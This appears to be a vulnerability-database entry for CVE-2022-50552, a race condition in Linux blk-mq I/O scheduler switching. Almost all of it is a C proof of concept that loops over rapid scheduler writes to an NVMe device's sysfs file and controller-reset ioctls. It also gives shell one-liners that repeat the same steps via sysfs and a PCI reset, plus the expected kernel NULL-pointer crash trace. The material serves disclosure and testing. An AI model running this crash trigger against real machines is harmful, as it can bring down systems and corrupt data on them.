CVE-2022-50552 Linux内核blk-mq调度器切换竞争条件漏洞

// CVE-2022-50552 PoC - Trigger blk-mq elevator switch race condition // This PoC demonstrates how to trigger the race condition between // hctx run_work and elevator switch during hardware queue reinitialization. // Note: This is a kernel-level vulnerability requiring root or specific // hardware (NVMe) access to trigger reliably. #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <linux/nvme_ioctl.h> // Step 1: Open an NVMe device to trigger queue reinitialization int trigger_nvme_reset() { int fd; int ret; // Open NVMe device node fd = open("/dev/nvme0n1", O_RDWR); if (fd < 0) { perror("Failed to open NVMe device (need root or nvme group access)"); return -1; } // Trigger NVMe controller reset via ioctl // This causes blk-mq to reinitialize hardware queues and switch elevator printf("Triggering NVMe controller reset...\n"); ret = ioctl(fd, NVME_IOCTL_RESET, 0); if (ret < 0) { perror("NVME_IOCTL_RESET failed"); } close(fd); return ret; } // Step 2: Rapidly switch I/O schedulers to increase race window int rapid_elevator_switch(const char *device) { char path[256]; char sched[64]; int fd; // Path to the elevator scheduler file snprintf(path, sizeof(path), "/sys/block/%s/queue/scheduler", device); printf("Rapidly switching elevator on %s...\n", device); // Alternate between different schedulers to trigger race const char *schedulers[] = {"none", "kyber", "mq-deadline", "bfq"}; int num_sched = sizeof(schedulers) / sizeof(schedulers[0]); for (int i = 0; i < 1000; i++) { fd = open(path, O_WRONLY); if (fd < 0) continue; write(fd, schedulers[i % num_sched], strlen(schedulers[i % num_sched])); close(fd); // Small delay to allow hctx run_work to start usleep(1); } return 0; } int main(int argc, char *argv[]) { printf("CVE-2022-50552 PoC - blk-mq elevator switch race\n"); printf("WARNING: This may crash the kernel!\n\n"); // Trigger the vulnerability by resetting NVMe and switching schedulers // Run in a loop to increase probability of hitting the race window for (int attempt = 0; attempt < 100; attempt++) { printf("Attempt %d...\n", attempt + 1); // Rapidly switch elevator schedulers rapid_elevator_switch("nvme0n1"); // Trigger controller reset to force queue reinitialization trigger_nvme_reset(); } printf("PoC completed. Check dmesg for kernel panic or oops.\n"); return 0; } // Kernel-side trigger (alternative approach via sysfs): // while true; do echo none > /sys/block/nvme0n1/queue/scheduler; echo kyber > /sys/block/nvme0n1/queue/scheduler; done & // echo 1 > /sys/bus/pci/devices/<NVME_BDF>/reset # Trigger PCI reset // Expected crash output in dmesg: // BUG: kernel NULL pointer dereference, address: 0000000000000008 // RIP: 0010:kyber_has_work+0x29/0x70 // Call Trace: // __blk_mq_do_dispatch_sched+0x83/0x2b0 // __blk_mq_sched_dispatch_requests+0x12e/0x170 // blk_mq_sched_dispatch_requests+0x30/0x60 // __blk_mq_run_hw_queue+0x2b/0x50 // process_one_work+0x1ef/0x380 // worker_thread+0x2d/0x3e0